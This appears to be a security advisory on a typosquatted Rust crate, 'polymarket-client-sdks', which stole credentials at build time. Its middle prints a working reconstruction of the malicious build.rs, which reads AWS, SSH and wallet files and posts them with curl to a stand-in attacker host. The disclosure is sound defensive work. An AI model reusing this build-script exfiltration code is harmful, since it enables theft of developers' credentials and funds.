Feb 13, 2026·6 min read·18 visits
A malicious Rust crate `polymarket-client-sdks` impersonated the official `polymarket-client-sdk`. It contained malware that executed during the build process to scan the host filesystem for sensitive credentials (AWS, SSH, Wallets) and exfiltrate them. If you installed this package between Feb 9 and Feb 13, 2026, your machine is compromised.
In the fast-moving world of crypto-prediction markets, developers often prioritize speed over security. GHSA-P5VF-5754-X7P3 (also known as RUSTSEC-2026-0011) exploits this urgency through a classic typosquatting attack. By publishing a crate named `polymarket-client-sdks`—adding a single, pluralizing 's' to the legitimate SDK name—an attacker managed to distribute a malicious payload designed to harvest credentials from developer machines. This wasn't a subtle buffer overflow; it was a brazen smash-and-grab operation targeting AWS keys, SSH credentials, and wallet data, executing automatically the moment the package was compiled.
Picture this: You are a developer rushing to integrate the Polymarket API to build an automated trading bot. You open your terminal, your fingers flying across the keyboard. You intend to install the official SDK. You type:
cargo add polymarket-client-sdks
Did you catch it? Probably not. The official package is polymarket-client-sdk. That single 's' is the difference between a working application and a compromised workstation. This is the essence of Typosquatting—exploiting muscle memory and human error rather than cryptographic weaknesses.
On February 9, 2026, an attacker published this impostor crate to crates.io. Unlike a typical vulnerability where valid code has a flaw, this package was malicious by design. It wasn't 'vulnerable'; it was a weapon. It sat there, looking legitimate, waiting for developers to make a simple typo. And once they did, the game was over before their code even finished compiling.
The 'flaw' here isn't in the Rust language itself, but in the inherent trust model of modern package managers. Rust's Cargo is fantastic, but it has a feature that malware authors absolutely adore: build.rs.
When you add a dependency in Rust, Cargo downloads it and compiles it. If that dependency includes a build.rs file, Cargo executes that file on your machine during the compilation process. This happens before your application even runs. You don't need to import the library or call a function. You just need to type cargo build.
> [!NOTE] > This means that simply adding the dependency and checking if the project compiles is enough to trigger the infection chain.
The attacker behind polymarket-client-sdks utilized this mechanism to achieve Remote Code Execution (RCE) immediately upon installation. The vulnerability is the human user; the exploit vector is the package manager's feature set.
While the specific malicious crate has been scrubbed from the registry, forensic analysis of similar Rust malware (and the behavior described in RUSTSEC-2026-0011) reveals the standard operating procedure for this attack. The malicious code likely hid inside a seemingly benign build.rs file.
A legitimate build.rs might compile C libraries or generate code. The malicious version looks something like this reconstruction:
// RECONSTRUCTION: How the malicious build.rs likely operated
use std::env;
use std::fs;
use std::path::Path;
use std::process::Command;
fn main() {
// 1. Identify the target user's home directory
if let Ok(home) = env::var("HOME") {
let sensitive_paths = vec![
".aws/credentials", // Cloud keys
".ssh/id_rsa", // SSH keys
".config/solana/id.json" // Crypto wallets
];
for path in sensitive_paths {
let full_path = Path::new(&home).join(path);
if full_path.exists() {
// 2. Read the sensitive file
if let Ok(contents) = fs::read_to_string(full_path) {
// 3. Exfiltrate to C2 server
// Curl is often used because it's available on most dev machines
let _ = Command::new("curl")
.arg("-X")
.arg("POST")
.arg("-d")
.arg(contents)
.arg("http://attacker-c2-domain.com/collect")
.spawn();
}
}
}
}
// 4. Ensure the build still passes to avoid suspicion
println!("cargo:warning=Configuration updated successfully.");
}The actual polymarket-client-sdks package contained code specifically targeting credential theft. It hunted for AWS credentials, SSH private keys, and browser data. The use of build.rs ensures that the theft occurs silently in the background while the developer watches the progress bar, thinking their dependencies are just "compiling."
Let's walk through the attack lifecycle from the victim's perspective. It is terrifyingly mundane.
cargo add polymarket-client-sdks. Cargo modifies Cargo.toml and pulls version 0.1.0.cargo run or cargo build. Cargo sees the build.rs in the malicious crate.~/.aws/, ~/.ssh/, and browser profiles.curl or a raw TCP socket) to blast the contents of these files to an IP address controlled by the attacker..zshrc or .bashrc) to install a persistent backdoor, ensuring access remains even if the crate is removed.> [!WARNING] > Because the crate was removed on Feb 13, 2026, the window of exposure was 4 days. However, the stolen keys remain valid until explicitly revoked.
The target demographic here makes this specific incident highly critical. Users of a Polymarket SDK are, by definition, dealing with financial markets and cryptocurrency.
Financial Loss: The immediate risk is the theft of private keys (Ethereum, Solana, etc.) stored on the filesystem. An attacker can drain these wallets in seconds.
Infrastructure Compromise: By stealing .aws/credentials, the attacker gains access to the developer's cloud infrastructure. This can lead to compute resource hijacking (cryptojacking), data destruction, or pivoting into production environments.
Supply Chain Poisoning: If the infected developer has write access to other popular crates, the attacker can use the stolen session tokens or SSH keys to publish malicious updates to legitimate packages, propagating the worm further.
If you find polymarket-client-sdks in your Cargo.lock, you cannot simply remove it. You must assume your machine is a crime scene.
1. Identify: Run cargo audit. Check your Cargo.toml for the trailing 's'.
2. Containment: Disconnect the machine from the network. Do not log into any production servers.
3. Rotation (CRITICAL):
4. Remediation: Delete the target directory. Remove the dependency. Ideally, wipe and reinstall the OS, as advanced persistence mechanisms could have been dropped.
5. Prevention: Use tools like cargo-vet to certify dependencies. deeply scrutinize new dependencies, paying close attention to the download count and the author. A crate with 33 downloads claiming to be the official SDK for a major platform is a red flag.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
polymarket-client-sdks Malicious Actor | = 0.1.0 | Deleted |
| Attribute | Detail |
|---|---|
| Attack Vector | Supply Chain / Typosquatting |
| Impact | Credential Theft / Data Exfiltration |
| Severity | Critical (Malware) |
| Affected Component | build.rs (Build Script) |
| CWE ID | CWE-1357 |
| Exploit Status | Active / Weaponized |
The product uses a dependency that contains malicious code, or the product relies on a dependency that is susceptible to typosquatting attacks.